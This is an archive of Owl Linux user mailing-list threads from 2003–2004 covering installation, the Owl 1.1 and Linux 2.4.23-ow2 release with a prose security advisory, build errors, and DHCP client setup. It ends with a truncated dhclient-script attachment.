On Mon, Dec 29, 2003 at 04:51:57PM +0100, Benjamin Lutz wrote:
> I have a remote server currently running a SuseLinux installation on
> which I have only access by a console-server to ttyS0. I also can start
> a recoverymanager which create a ramdisk and provide network access.
> From there I can mount the Harddisk or install gcc. How can I install
> Owl on this server?
This is a very brief answer. I hope others will help you with the
details as I have no time presently.
Transfer the Owl packages (the RPMS directory) and native source tree
(native.tar.gz) to a temporary partition on the hard disk (make it
/usr/src/world or you'd need to edit installworld.conf to reflect a
different location). Extract the native tree, you get a Makefile.
Create the partitions and filesystems you intend to install to and
mount them under /owl (or elsewhere, but you'd need to edit
installworld.conf). "make installworld && make setup". Then upload
the kernel sources, build a kernel (preferably chrooted into the new
system such that the new system's development tools are used), and
install it into the new system. "chroot /owl lilo". You're done.
Please read Owl/doc/INSTALL and Owl/doc/BUILD before you do this.
--
Alexander Peslyak <solar@private>
GPG key ID: B35D3598 fp: 6429 0D7E F130 C13E C929 6447 73C3 A290 B35D 3598
http://www.openwall.com - bringing security into open computing environments
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Date: Tue, 6 Jan 2004 06:03:20 +0300
From: Solar Designer <solar@private>
To: announce@private
Cc: owl-users@private, lwn@private
Subject: Linux 2.4.23-ow2, Owl 1.1 available for download
Message-ID: <20040106030320.GA12666@private>
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Hi,
Linux 2.4.23-ow2 is out and adds fixes for two Linux kernel
vulnerabilities. One of the vulnerabilities, discovered by Paul
Starzetz, is in incorrect handling of a boundary case in mremap(2)
system call. When properly exploited, this vulnerability may allow
any local user and any process to execute arbitrary code with kernel
privileges and thus gain root access and bypass restrictions such as
cap-bound. More trivial exploits of the same vulnerability result in
an instant reboot (local DoS). This vulnerability does not affect
Linux 2.2.x and older kernels.
The other vulnerability has been discovered by Russell King and
results in the real time clock drivers leaking small amounts of kernel
internal data to user-space applications via the /dev/rtc device.
Such data might be security-sensitive. All of Linux 2.0.x, 2.2.x, and
2.4.x are affected, provided the /dev/rtc device is readable to
untrusted users (it isn't on Owl).
Linux 2.4.23-ow2 is available for download from:
http://www.openwall.com/linux/
Owl 1.1 already includes Linux 2.4.23-ow2 as the kernel. Owl 1.1
release is now available for download from the FTP mirrors listed at:
http://www.openwall.com/Owl/DOWNLOAD.shtml
Of course, Owl 1.1 remains available for purchase on a CD as well:
http://www.openwall.com/Owl/orders.shtml
The only versions of Owl affected by one of these two vulnerabilities
are Owl-current snapshots dated after 2003/10/20 and up until the date
of this announcement. If you're using Owl with a Linux 2.4.x kernel
older than 2.4.23-ow2, please upgrade your system to Owl 1.1 or at
least upgrade the kernel to 2.4.23-ow2.
A updated -ow patch for Linux 2.4.24 will be available shortly, but
as 2.4.23-ow2 already includes the critical fixes, there will be no
real need to upgrade from 2.4.23-ow2 to 2.4.24-ow1.
--
Alexander Peslyak <solar@private>
GPG key ID: B35D3598 fp: 6429 0D7E F130 C13E C929 6447 73C3 A290 B35D 3598
http://www.openwall.com - bringing security into open computing environments
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From: "Steve Bremer" <steveb@private>
Organization: NEBCO, Inc.
To: owl-users@private
Date: Tue, 06 Jan 2004 08:31:33 -0600
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Subject: Re: Linux 2.4.23-ow2, Owl 1.1 available for download
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Hi SD,
> Owl 1.1 already includes Linux 2.4.23-ow2 as the kernel.
Now that Owl 1.1 is out, what are the plans for security & bug fixes?
Will you create a "stable" branch of 1.1 that just contains security
and critical bug fixes so developers can use "current" for
development?
I'm just wondering so I can start syncing with current again if there
won't be a "stable" branch for Owl 1.1.
Thanks again,
Steve Bremer
NEBCO, Inc.
System & Security Administrator
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Date: Thu, 8 Jan 2004 14:47:03 +0300
From: Solar Designer <solar@private>
To: owl-users@private
Subject: Re: Linux 2.4.23-ow2, Owl 1.1 available for download
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Hi Steve,
On Tue, Jan 06, 2004 at 08:31:33AM -0600, Steve Bremer wrote:
> Now that Owl 1.1 is out, what are the plans for security & bug fixes?
> Will you create a "stable" branch of 1.1 that just contains security
> and critical bug fixes so developers can use "current" for
> development?
Yes, Owl-1_1-stable already exists in CVS. Whether it will actually
receive commits and whether we will do snapshots on the FTP will
depend on the severity of post-1.1 bugs to be discovered before we
make the next release. If anything critical is found in Owl 1.1
before there's a new release, there will be a fix for the 1.1.
--
Alexander Peslyak <solar@private>
GPG key ID: B35D3598 fp: 6429 0D7E F130 C13E C929 6447 73C3 A290 B35D 3598
http://www.openwall.com - bringing security into open computing environments
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Date: Thu, 8 Jan 2004 15:52:17 +0300 (MSK)
From: Lunar <lunar@private>
To: owl-users@private
Subject: Re: Linux 2.4.23-ow2, Owl 1.1 available for download
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Hi Solar !
I'm download Owl-1_1 release iso from ftp2.ru.openwall.com
257 "/pub/Owl/1.1-release/iso"
ftp> ls -l
227 Entering Passive Mode (195,42,179,206,244,213)
150 Here comes the directory listing.
-rw-r--r-- 1 ftp ftp 284813584 Dec 19 21:20 Owl-1.1-release-i386.iso.gz
-rw-r--r-- 1 ftp ftp 129 Jan 05 20:40 README
-rw-r--r-- 1 ftp ftp 263 Jan 05 20:31 iso.mtree
-rw-r--r-- 1 ftp ftp 331 Jan 05 20:36 iso.mtree.sign
226 Directory send OK.
ftp>
but i see :
-rw-r--r-- 1 150 150 28898 Oct 20 04:13 linux-2.4.22-ow1.tar.gz
-rw-r--r-- 1 150 150 331 Oct 20 04:13 linux-2.4.22-ow1.tar.gz.sign
-rw-r--r-- 1 150 150 29528612 Oct 20 04:12 linux-2.4.22.tar.bz2
-rw-r--r-- 1 150 150 248 Oct 20 04:12 linux-2.4.22.tar.bz2.sign
-rw-r--r-- 1 150 150 1262994 Oct 20 04:14 pcmcia-cs-3.2.4.tar.gz
and in .Owl-CD-ROM:
current as of 2003/11/03current as of 2003/11/03
Why ?
Lunar
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Date: Thu, 8 Jan 2004 14:29:24 +0100 (CET)
From: Andreas Ericsson <exon@private>
To: owl-users@private
Subject: Re: Linux 2.4.23-ow2, Owl 1.1 available for download
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Heh. I'm starting to think you've created some sort of trend here, sd. :)
Lunar, Galaxymaster and Solar Designer. Before long, I expect we'll see
'nova', 'spaceman', 'shuttleboy' and 'orbital' as well. ;)
No offense ppl.
Lunar:
I'm running the mirror ftp.se.openwall.com, and my mirror is updated
correctly (since three days).
I can't imagine the Russian secondary ftp isn't.
Are you sure there wasn't an old Owl image on the cd you tried to burn to?
Mvh
Andreas Ericsson / Sourcerer
OP5 AB
+46 (0)733 709032
andreas.ericsson@private
On Thu, 8 Jan 2004, Lunar wrote:
>
>
> Hi Solar !
>
>
> I'm download Owl-1_1 release iso from ftp2.ru.openwall.com
> 257 "/pub/Owl/1.1-release/iso"
> ftp> ls -l
> 227 Entering Passive Mode (195,42,179,206,244,213)
> 150 Here comes the directory listing.
> -rw-r--r-- 1 ftp ftp 284813584 Dec 19 21:20 Owl-1.1-release-i386.iso.gz
> -rw-r--r-- 1 ftp ftp 129 Jan 05 20:40 README
> -rw-r--r-- 1 ftp ftp 263 Jan 05 20:31 iso.mtree
> -rw-r--r-- 1 ftp ftp 331 Jan 05 20:36 iso.mtree.sign
> 226 Directory send OK.
> ftp>
>
>
> but i see :
>
> -rw-r--r-- 1 150 150 28898 Oct 20 04:13 linux-2.4.22-ow1.tar.gz
> -rw-r--r-- 1 150 150 331 Oct 20 04:13 linux-2.4.22-ow1.tar.gz.sign
> -rw-r--r-- 1 150 150 29528612 Oct 20 04:12 linux-2.4.22.tar.bz2
> -rw-r--r-- 1 150 150 248 Oct 20 04:12 linux-2.4.22.tar.bz2.sign
> -rw-r--r-- 1 150 150 1262994 Oct 20 04:14 pcmcia-cs-3.2.4.tar.gz
>
> and in .Owl-CD-ROM:
>
>
> current as of 2003/11/03current as of 2003/11/03
>
> Why ?
>
>
> Lunar
>
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Date: Fri, 9 Jan 2004 07:04:07 +0300
From: Solar Designer <solar@private>
To: owl-users@private
Subject: Re: Linux 2.4.23-ow2, Owl 1.1 available for download
Message-ID: <20040109040407.GA2112@private>
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On Thu, Jan 08, 2004 at 03:52:17PM +0300, Lunar wrote:
> I'm download Owl-1_1 release iso from ftp2.ru.openwall.com
> 257 "/pub/Owl/1.1-release/iso"
> ftp> ls -l
> 227 Entering Passive Mode (195,42,179,206,244,213)
> 150 Here comes the directory listing.
> -rw-r--r-- 1 ftp ftp 284813584 Dec 19 21:20 Owl-1.1-release-i386.iso.gz
I can confirm that this file as stored on ftp2.ru.openwall.com is
indeed the Owl 1.1 ISO.
> but i see :
>
> -rw-r--r-- 1 150 150 28898 Oct 20 04:13 linux-2.4.22-ow1.tar.gz
> -rw-r--r-- 1 150 150 331 Oct 20 04:13 linux-2.4.22-ow1.tar.gz.sign
> -rw-r--r-- 1 150 150 29528612 Oct 20 04:12 linux-2.4.22.tar.bz2
> -rw-r--r-- 1 150 150 248 Oct 20 04:12 linux-2.4.22.tar.bz2.sign
> -rw-r--r-- 1 150 150 1262994 Oct 20 04:14 pcmcia-cs-3.2.4.tar.gz
>
> and in .Owl-CD-ROM:
>
>
> current as of 2003/11/03current as of 2003/11/03
These are from a different ISO. You must have done something wrong
with what you had downloaded.
--
Alexander Peslyak <solar@private>
GPG key ID: B35D3598 fp: 6429 0D7E F130 C13E C929 6447 73C3 A290 B35D 3598
http://www.openwall.com - bringing security into open computing environments
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Date: Fri, 9 Jan 2004 07:16:26 +0300
From: Solar Designer <solar@private>
To: owl-users@private
Subject: Re: Linux 2.4.23-ow2, Owl 1.1 available for download
Message-ID: <20040109041626.GA2156@private>
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On Thu, Jan 08, 2004 at 02:29:24PM +0100, Andreas Ericsson wrote:
> Heh. I'm starting to think you've created some sort of trend here, sd. :)
> Lunar, Galaxymaster and Solar Designer.
I don't know about Lunar, but (GalaxyMaster) has been going under that
nickname for maybe a decade.
I'm not even the only Solar out there, and I don't believe other Solars
were all named after me. ;-)
OK, no more offtopic postings from me, I promise. ;-)
--
Alexander Peslyak <solar@private>
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Date: Mon, 26 Jan 2004 02:46:23 +0300
From: Solar Designer <solar@private>
To: owl-users@private
Subject: Perl 5.8.3
Message-ID: <20040125234623.GA13783@private>
References: <20031223012601.GA4344@private> <87y8t4e1u0.fsf@private>
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On Tue, Dec 23, 2003 at 02:53:59AM +0100, Maciek Pasternacki wrote:
> Is there any chance that Owl will include Perl in newer version than
> current 5.6.0? I am running Jabber server on Owl and some transports
> written in Perl require libraries working only with Perl 5.6.1 or
> later. As for now I have Perl 5.8 installed from source in
> /opt/perl58 and I use it only for these transports, but I'd be very
> glad to have more recent version of the interpreter in the distribution.
OK, there's Perl 5.8.3 in Owl-current, thanks to (GalaxyMaster) who
has done much work on this update. :-)
--
Alexander Peslyak <solar@private>
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http://www.openwall.com - bringing security into open computing environments
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From: "Berend-Jan Wever" <SkyLined@private>
To: <owl-users@private>
Subject: dhcp client
Date: Tue, 3 Feb 2004 05:35:37 +0100
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Hi,
I've just installed Owl on one of my computers. My ISP requires my to use
DHCP and PPPOE. Which DHCP client would be best suited to run with owl ?
Cheers,
SkyLined
PS. Solar: it took me about a year, but I finally installed owl, so your
dutch mirror is not that far from being online.
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From: Solar Designer <solar@private>
To: owl-users@private
Subject: Re: dhcp client
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Hi,
On Tue, Feb 03, 2004 at 05:35:37AM +0100, Berend-Jan Wever wrote:
> I've just installed Owl on one of my computers. My ISP requires my to use
> DHCP and PPPOE. Which DHCP client would be best suited to run with owl ?
In native/Owl/packages/dhcp/dhcp.spec, you can set BUILD_DHCP_CLIENT to 1.
Then "make".
This is disabled by default and not officially supported because this TODO
item has not been completed (in fact, we haven't even started at it):
[PRIORITY: low]
[ASSIGNED: schmidt@, solar@]
The DHCP client should be modified to run as a dedicated pseudo-user
and in a chroot jail. This requires privilege separation within the
client (not easy).
> PS. Solar: it took me about a year, but I finally installed owl, so your
> dutch mirror is not that far from being online.
Good.
Meanwhile, the German and Russian ones should be fast enough for most
of Europe.
--
Alexander Peslyak <solar@private>
GPG key ID: B35D3598 fp: 6429 0D7E F130 C13E C929 6447 73C3 A290 B35D 3598
http://www.openwall.com - bringing security into open computing environments
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To: <owl-users@private>
References: <001701c3ea0f$2bc3d810$0100a8c0@grotedoos> <20040203044149.GA21625@private>
Subject: make buildworld error
Date: Tue, 3 Feb 2004 12:53:55 +0100
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Maybe I have something under the wrong owner ?
build@babydoos:/usr/src/world$ ls -lA
total 24
lrwxrwxrwx 1 build sources 39 Feb 3 16:50 .rpmmacros ->
native/Owl-1_1-release/build/.rpmmacros
lrwxrwxrwx 1 build sources 35 Feb 3 16:50 .rpmrc ->
native/Owl-1_1-release/build/.rpmrc
lrwxrwxrwx 1 build sources 37 Feb 3 10:22 Makefile ->
native/Owl-1_1-release/build/Makefile
drwx------ 2 build sources 8192 Feb 3 16:44 RPMS
drwxr-x--- 2 build sources 4096 Feb 3 16:44 archives
lrwxrwxrwx 1 build sources 44 Feb 3 16:44 buildworld.conf ->
native/Owl-1_1-release/build/buildworld.conf
lrwxrwxrwx 1 build sources 46 Feb 3 16:44 installorder.conf ->
native/Owl-1_1-release/build/installorder.conf
lrwxrwxrwx 1 build sources 46 Feb 3 16:44 installworld.conf ->
native/Owl-1_1-release/build/installworld.conf
drwxr-x--- 2 build sources 4096 Feb 3 16:44 logs
drwx------ 3 build sources 4096 Feb 3 10:22 native
drwx------ 3 build sources 4096 Feb 3 10:25 sources
build@babydoos:/usr/src/world$ make clean && make buildworld
test -d RPMS && rm -f RPMS/* || :
test -d SRPMS && rm -f SRPMS/* || :
test -d archives && rm -f archives/* || :
test -d native/Owl-1_1-release/build || make checkout
ln -sf native/Owl-1_1-release/build/.rpm* .
ln -s native/Owl-1_1-release/build/*.conf . 2> /dev/null || :
BRANCH=Owl-1_1-release PACKAGE= native/Owl-1_1-release/build/buildworld.sh
16:50:02: Removing stale temporary files
hostname: Host name lookup failure
16:50:02: Sanity check
16:50:02: Unreadable kernel includes
make: *** [buildworld] Error 1
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----- Original Message -----
From: "Solar Designer" <solar@private>
To: <owl-users@private>
Sent: Tuesday, February 03, 2004 5:41
Subject: Re: dhcp client
> Hi,
>
> On Tue, Feb 03, 2004 at 05:35:37AM +0100, Berend-Jan Wever wrote:
> > I've just installed Owl on one of my computers. My ISP requires my to
use
> > DHCP and PPPOE. Which DHCP client would be best suited to run with owl ?
>
> In native/Owl/packages/dhcp/dhcp.spec, you can set BUILD_DHCP_CLIENT to 1.
> Then "make".
>
> This is disabled by default and not officially supported because this TODO
> item has not been completed (in fact, we haven't even started at it):
>
> [PRIORITY: low]
> [ASSIGNED: schmidt@, solar@]
> The DHCP client should be modified to run as a dedicated pseudo-user
> and in a chroot jail. This requires privilege separation within the
> client (not easy).
>
> > PS. Solar: it took me about a year, but I finally installed owl, so your
> > dutch mirror is not that far from being online.
>
> Good.
>
> Meanwhile, the German and Russian ones should be fast enough for most
> of Europe.
>
> --
> Alexander Peslyak <solar@private>
> GPG key ID: B35D3598 fp: 6429 0D7E F130 C13E C929 6447 73C3 A290 B35D
3598
> http://www.openwall.com - bringing security into open computing
environments
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Date: Tue, 3 Feb 2004 11:55:42 +0000 (GMT)
From: Simon B <simonb@private>
To: owl-users@private
Subject: Re: make buildworld error
In-Reply-To: <000d01c3ea4c$66f93cd0$0100a8c0@grotedoos>
Message-ID: <kaizo-sendmail-010402031154360.10989@private>
References: <001701c3ea0f$2bc3d810$0100a8c0@grotedoos> <20040203044149.GA21625@private>
<000d01c3ea4c$66f93cd0$0100a8c0@grotedoos>
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On Tue, 3 Feb 2004, Berend-Jan Wever wrote:
BW! Maybe I have something under the wrong owner ?
BW!
BW! 16:50:02: Sanity check
BW! 16:50:02: Unreadable kernel includes
BW! make: *** [buildworld] Error 1
If you examine the scripts, it looks for file != 0004 I think...
find /usr/src/linux -type f | xargs chmod o+r
Should fix the problem IIRC...
S.
--
-----------------------------------------------------------------------------
Simon B. http://kaizo.org/simonb spb!kaizo.org
Linux is only free if your time has no value...(jwz.org)
-----------------------------------------------------------------------------
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From: "Berend-Jan Wever" <SkyLined@private>
To: <owl-users@private>
References: <001701c3ea0f$2bc3d810$0100a8c0@grotedoos> <20040203044149.GA21625@private> <000d01c3ea4c$66f93cd0$0100a8c0@grotedoos> <kaizo-sendmail-010402031154360.10989@private>
Subject: Re: make buildworld error
Date: Tue, 3 Feb 2004 13:32:35 +0100
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I fixed it, the files under /usr/include/linux didn't have +r nor did the
directories have +x.
Thanks!
SkyLined
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----- Original Message -----
From: "Simon B" <simonb@private>
To: <owl-users@private>
Sent: Tuesday, February 03, 2004 12:55
Subject: Re: make buildworld error
> On Tue, 3 Feb 2004, Berend-Jan Wever wrote:
>
> BW! Maybe I have something under the wrong owner ?
> BW!
> BW! 16:50:02: Sanity check
> BW! 16:50:02: Unreadable kernel includes
> BW! make: *** [buildworld] Error 1
>
> If you examine the scripts, it looks for file != 0004 I think...
>
> find /usr/src/linux -type f | xargs chmod o+r
>
> Should fix the problem IIRC...
>
> S.
>
> --
> --------------------------------------------------------------------------
---
> Simon B. http://kaizo.org/simonb
spb!kaizo.org
> Linux is only free if your time has no value...(jwz.org)
> --------------------------------------------------------------------------
---
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Subject: Re: dhcp client
Date: Wed, 4 Feb 2004 15:19:29 +0100
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> In native/Owl/packages/dhcp/dhcp.spec, you can set BUILD_DHCP_CLIENT to 1.
> Then "make".
- Is that "make buildworld" or can I simply make the dhclient by itself ?
(if so, what's the command to build one single package like dhcp ?)
- Does "make buildworld" put the built binaries in /bin, /sbin, ... ?
or does it create rpms to be installed with "make installworld" ?
or are they put in one dir, to be copied to more usefull dirs manually ?
(I couldn't really find that out by looking at the Makefile and scripts.)
> This is disabled by default and not officially supported because this TODO
> item has not been completed (in fact, we haven't even started at it):
Well, unfortunately my ISP requires me to use DHCP to get an IP address on
the local network. Also, I have to install PPPOE to reach the internet.
Which brings me to my next question: Which PPPOE client would you recommend
?
Cheers and thanks in advance for answering all my n00b questions ;)
SkyLined
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Date: Wed, 4 Feb 2004 14:22:20 +0000 (GMT)
From: Simon B <simonb@private>
To: owl-users@private
Subject: Re: dhcp client
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<000901c3eb29$e748a4b0$0100a8c0@grotedoos>
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On Wed, 4 Feb 2004, Berend-Jan Wever wrote:
BW! > In native/Owl/packages/dhcp/dhcp.spec, you can set BUILD_DHCP_CLIENT to 1.
BW! > Then "make".
BW! - Is that "make buildworld" or can I simply make the dhclient by itself ?
BW! (if so, what's the command to build one single package like dhcp ?)
To build only one package, use
make buildworld PACKAGE=dhcp
for example...
BW! - Does "make buildworld" put the built binaries in /bin, /sbin, ... ?
BW! or does it create rpms to be installed with "make installworld" ?
BW! or are they put in one dir, to be copied to more usefull dirs manually ?
BW! (I couldn't really find that out by looking at the Makefile and scripts.)
No, as root you need to run make installworld.
To just install one packages (like dhcp*) run:
# rpm -ivh RPMS/dhcp*
from /usr/src/world
BW! > This is disabled by default and not officially supported because this TODO
BW! > item has not been completed (in fact, we haven't even started at it):
BW!
BW! Well, unfortunately my ISP requires me to use DHCP to get an IP address on
BW! the local network. Also, I have to install PPPOE to reach the internet.
BW! Which brings me to my next question: Which PPPOE client would you recommend
BW! ?
Don't know of any, can't make any recommendations personally.
One other tip I will give ; make your dhcp client exit after obtaining
a lease ; otherwise it may be possible to send bad data to your client
and make it crash or worse...
However this may break the way your ISP re-leases IP addresses, but I
know which problem I'd rather be fixing ;-))
Regards,
Simon.
BW!
BW! Cheers and thanks in advance for answering all my n00b questions ;)
BW!
BW! SkyLined
BW!
BW!
--
-----------------------------------------------------------------------------
Simon B. http://kaizo.org/simonb spb!kaizo.org
Linux is only free if your time has no value...(jwz.org)
-----------------------------------------------------------------------------
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Date: Wed, 04 Feb 2004 08:57:11 -0600
From: "Steve Bremer" <steveb@private>
To: <owl-users@private>
Subject: Re: dhcp client
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Hi,
>Don't know of any, can't make any recommendations personally.
Here is a pretty popular pppoe client:
http://www.roaringpenguin.com/products/rp-pppoe/index.php
>One other tip I will give ; make your dhcp client exit after
obtaining
>a lease ; otherwise it may be possible to send bad data to your
client
>and make it crash or worse...
We have a problem where one of our ISPs requires us to make a DHCP
request every 6 hours or they cut off our connection. Even though we
pay for a "business class" connection and static IP, we have to make a
DHCP request at regular intervals or their firewall blocks our traffic.
:-( It's a terrible setup, but it's the only broadband provider in the
area.
Steve Bremer
NEBCO, Inc.
System & Security Administrator
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From: "Berend-Jan Wever" <SkyLined@private>
To: <owl-users@private>
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Subject: Re: dhcp client
Date: Wed, 4 Feb 2004 17:17:32 +0100
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You could still put dhclient on a cron job to be run once every 5 hours and
5 minutes ?
But, if someone wanted to exploit a dhclient bug, he'll probably won't have
a problem with waiting 6 hours for dhclient to run...
Cheers,
SkyLined
PS. I modified my "/bin/sh" to only run when the user executing it doesn't
have "/bin/false" as shell in "/etc/passwd". It's a lame security trick
that's easily bypassed, but it does keep the script kiddies out. Maybe it's
something Owl could use ?
----- Original Message -----
From: "Steve Bremer" <steveb@private>
To: <owl-users@private>
Sent: Wednesday, February 04, 2004 15:57
Subject: Re: dhcp client
>
> Hi,
>
> >Don't know of any, can't make any recommendations personally.
>
> Here is a pretty popular pppoe client:
>
> http://www.roaringpenguin.com/products/rp-pppoe/index.php
>
> >One other tip I will give ; make your dhcp client exit after
> obtaining
> >a lease ; otherwise it may be possible to send bad data to your
> client
> >and make it crash or worse...
>
> We have a problem where one of our ISPs requires us to make a DHCP
> request every 6 hours or they cut off our connection. Even though we
> pay for a "business class" connection and static IP, we have to make a
> DHCP request at regular intervals or their firewall blocks our traffic.
> :-( It's a terrible setup, but it's the only broadband provider in the
> area.
>
> Steve Bremer
> NEBCO, Inc.
> System & Security Administrator
>
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Date: Wed, 4 Feb 2004 17:49:45 +0100 (CET)
From: Andreas Ericsson <exon@private>
To: owl-users@private
Subject: Re: dhcp client
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Maybe this little hack can do the trick for you.
It's one of many plugins used with the Nagios network monitoring system.
I haven't looked through the code (really ugly thing, but you might get
through it with gnu indent), so I don't know how it's working 'under the
hood', but it might just do the trick for you. Possibly with a couple of
modifications.
Mvh / Best Regards
Andreas Ericsson / Sourcerer
OP5 AB
+46 (0)733 709032
ae@private
On Wed, 4 Feb 2004, Steve Bremer wrote:
>
> Hi,
>
> >Don't know of any, can't make any recommendations personally.
>
> Here is a pretty popular pppoe client:
>
> http://www.roaringpenguin.com/products/rp-pppoe/index.php
>
> >One other tip I will give ; make your dhcp client exit after
> obtaining
> >a lease ; otherwise it may be possible to send bad data to your
> client
> >and make it crash or worse...
>
> We have a problem where one of our ISPs requires us to make a DHCP
> request every 6 hours or they cut off our connection. Even though we
> pay for a "business class" connection and static IP, we have to make a
> DHCP request at regular intervals or their firewall blocks our traffic.
> :-( It's a terrible setup, but it's the only broadband provider in the
> area.
>
> Steve Bremer
> NEBCO, Inc.
> System & Security Administrator
>
>
---690695424-1884145763-1075913385=:606
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Date: Wed, 4 Feb 2004 18:00:45 +0100 (CET)
From: Andreas Ericsson <exon@private>
To: owl-users@private
Subject: Re: dhcp client
In-Reply-To: <001401c3eb3a$64d6b8d0$0100a8c0@grotedoos>
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I don't think that's a very good solution, considering system process
pseudo-users should have /bin/false as their shell.
If any of those pseudo-users need to run a shell command, execution would
fail. If the check is only performed when an interactive shell is spawned
it might be useful, but then it could be bypassed by 'unexpected' actions
(which is what to expect from script kiddies).
Mvh / Best Regards
Andreas Ericsson / Sourcerer
OP5 AB
+46 (0)733 709032
andreas.ericsson@private
On Wed, 4 Feb 2004, Berend-Jan Wever wrote:
>
> PS. I modified my "/bin/sh" to only run when the user executing it doesn't
> have "/bin/false" as shell in "/etc/passwd". It's a lame security trick
> that's easily bypassed, but it does keep the script kiddies out. Maybe it's
> something Owl could use ?
>
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Date: Wed, 4 Feb 2004 17:01:31 +0100
From: Matthias Schmidt <xhr@private>
To: owl-users@private
Subject: Re: dhcp client
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Hi,
* Berend-Jan Wever wrote:
> - Is that "make buildworld" or can I simply make the dhclient by itself ?
> (if so, what's the command to build one single package like dhcp ?)
You can build the dhcp package for itself. Just type "make PACKAGE=dhcp"
(have a look at Owl/doc/BUILD).
> - Does "make buildworld" put the built binaries in /bin, /sbin, ... ?
> or does it create rpms to be installed with "make installworld" ?
> or are they put in one dir, to be copied to more usefull dirs manually ?
> (I couldn't really find that out by looking at the Makefile and scripts.)
"make buildworld" creates a rpm package. You can install the package
directly via rpm or "make installworld".
Greets
--
Matthias Schmidt
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Date: Thu, 5 Feb 2004 02:04:27 +0300
From: Solar Designer <solar@private>
To: owl-users@private
Subject: Re: dhcp client
Message-ID: <20040204230427.GA25073@private>
References: <001701c3ea0f$2bc3d810$0100a8c0@grotedoos> <20040203044149.GA21625@private> <000901c3eb29$e748a4b0$0100a8c0@grotedoos> <kaizo-sendmail-010402041419070.15055@private>
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On Wed, Feb 04, 2004 at 02:22:20PM +0000, Simon B wrote:
> # rpm -ivh RPMS/dhcp*
You shouldn't use the "-i" option to "rpm" unless you know what you're
doing, which I think you don't. ;-) In fact, I used to not know it
when we were just starting with Owl in 2000. Perhaps this option should
be made to print out a big warning and require a --force-install or
something...
Use -Uvh or -Fvh instead. Please note that "-U" is capable of
installing a new package just fine, only without the dangers of "-i"
(which lets you install multiple versions of the same package at
once, -- something you do not want normally).
--
Alexander Peslyak <solar@private>
GPG key ID: B35D3598 fp: 6429 0D7E F130 C13E C929 6447 73C3 A290 B35D 3598
http://www.openwall.com - bringing security into open computing environments
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Message-ID: <002301c3eb82$fdc8d8a0$0100a8c0@grotedoos>
From: "Berend-Jan Wever" <SkyLined@private>
To: <owl-users@private>
References: <001701c3ea0f$2bc3d810$0100a8c0@grotedoos> <20040203044149.GA21625@private>
Subject: Re: dhcp client
Date: Thu, 5 Feb 2004 01:57:12 +0100
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Ok, I've build my dhclient. But I'm just running into more and more
problems, I hope you can help me out, but this might be getting more of a
dhcp problem then an owl problem now...
problem 1: dhclient seems to require a "/etc/dhclient-script", which was
missing (shouldn't a default version have been installed with the rpm ?).
My solution: I found the attached file on the internet and used that.
problem 2: dhclient seems to require a "/etc/dhclient.conf" file, which was
also missing.
My solution: I've constructed something from man-pages and googling for
information, also attached.
The system I'm building is going to have to ethernet cards installed:
- eth0: DHCP
- eth1: 192.168.0.16 netmask 255.255.255.0
So I edited /etc/sysconfig/network-scripts/ifcfg-eth0 and -eth1.
-- /etc/sysconfig/network-scripts/ifcfg-eth0:
DEVICE=eth0
BOOTPROTO=dhcp
ONBOOT=yes
TYPE=Ethernet
-- EOF
problem 3: when "ifup" gets run to get eth0 up, it tries to use "/sbin/pump"
instead of "/sbin/dhclient" for DHCP. (This must be an old script or
something !?)
My solution: I edited ifup, added a small part for "BOOTPROTO=dhclient"
which would do
-- /etc/sysconfig/network-scripts/ifup:
-- *SNIP* --
echo -n "Requesting DHCP information for $DEVICE..."
if ifconfig $DEVICE up && /sbin/dhclient -q $DEVICE ; then
echo " done."
else
echo " failed."
ifconfig $DEVICE down
exit 1
fi
-- *SNIP* --
problem 4: dhclient won't work. It gives "/sbin/dhclient-script:
configuration for eth0 not found." error messages and it just seems to keep
on DHCPDISCOVERing forever without accepting a DHCPOFFER.
-- *SNIP* --
root@babydoos:~# dhclient eth0
Internet Software Consortium DHCP Client V3.0pl2
Copyright 1995-2001 Internet Software Consortium.
All rights reserved.
For info, please visit http://www.isc.org/products/DHCP
/sbin/dhclient-script: configuration for eth0 not found.
Listening on LPF/eth0/52:54:05:f3:d6:98
Sending on LPF/eth0/52:54:05:f3:d6:98
Sending on Socket/fallback
DHCPDISCOVER on eth0 to 255.255.255.255 port 67 interval 8
DHCPOFFER from 172.20.72.3
DHCPREQUEST on eth0 to 255.255.255.255 port 67
DHCPACK from 172.20.72.3
/sbin/dhclient-script: configuration for eth0 not found.
DHCPDECLINE on eth0 to 255.255.255.255 port 67
DHCPDISCOVER on eth0 to 255.255.255.255 port 67 interval 3
DHCPOFFER from 172.20.72.3
DHCPREQUEST on eth0 to 255.255.255.255 port 67
DHCPACK from 172.20.72.3
-- *SNIP* --
Anyway, I hope somebody has the time and knowledge to help me out with all
this, thanks in advance!
Cheers,
SkyLined
------=_NextPart_000_0020_01C3EB8B.5F671B00
Content-Type: application/octet-stream;
name="dhclient-script"
Content-Transfer-Encoding: quoted-printable
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filename="dhclient-script"
#!/bin/sh
# dhclient-script for Linux. Dan Halbert, March, 1997.
# Updated for Linux 2.[12] by Brian J. Murrell, January 1999.
# No guarantees about this. I'm a novice at the details of Linux
# networking.
# Notes:
# 0. This script is based on the netbsd script supplied with =
dhcp-970306.
# 1. ifconfig down apparently deletes all relevant routes and flushes
# the arp cache, so this doesn't need to be done explicitly.
# 2. The alias address handling here has not been tested AT ALL.
# I'm just going by the doc of modern Linux ip aliasing, which uses
# notations like eth0:0, eth0:1, for each alias.
# 3. I have to calculate the network address, and calculate the =
broadcast
# address if it is not supplied. This might be much more easily done
# by the dhclient C code, and passed on.
# 4. TIMEOUT not tested. ping has a flag I don't know, and I'm =
suspicious
# of the $1 in its args.
function make_resolv_conf() {
if [ "x$new_domain_name" !=3D x ] && [ x"$new_domain_name_servers" =
!=3D x ]; then
echo search $new_domain_name >/etc/resolv.conf
for nameserver in $new_domain_name_servers; do
echo nameserver $nameserver >>/etc/resolv.conf
done
fi
}
# Must be used on exit. Invokes the local dhcp client exit hooks, if =
any.
function exit_with_hooks() {
exit_status=3D$1
if [ -f /etc/dhclient-exit-hooks ]; then
. /etc/dhclient-exit-hooks
fi
# probably should do something with exit status of the local script
exit $exit_status
}
# Invoke the local dhcp client enter hooks, if they exist.
if [ -f /etc/dhclient-enter-hooks ]; then
exit_status=3D0
. /etc/dhclient-enter-hooks
# allow the local script to abort processing of this state
# local script must set exit_status variable to nonzero.
if [ $exit_status -ne 0 ]; then
exit $exit_status
fi
fi
release=3D`uname -r`
release=3D`expr $release : '\(.*\)\..*'`
relminor=3D`echo $release |sed -e =
's/[0-9]*\.\([0-9][0-9]*\)\(\..*\)*$/\1/'`
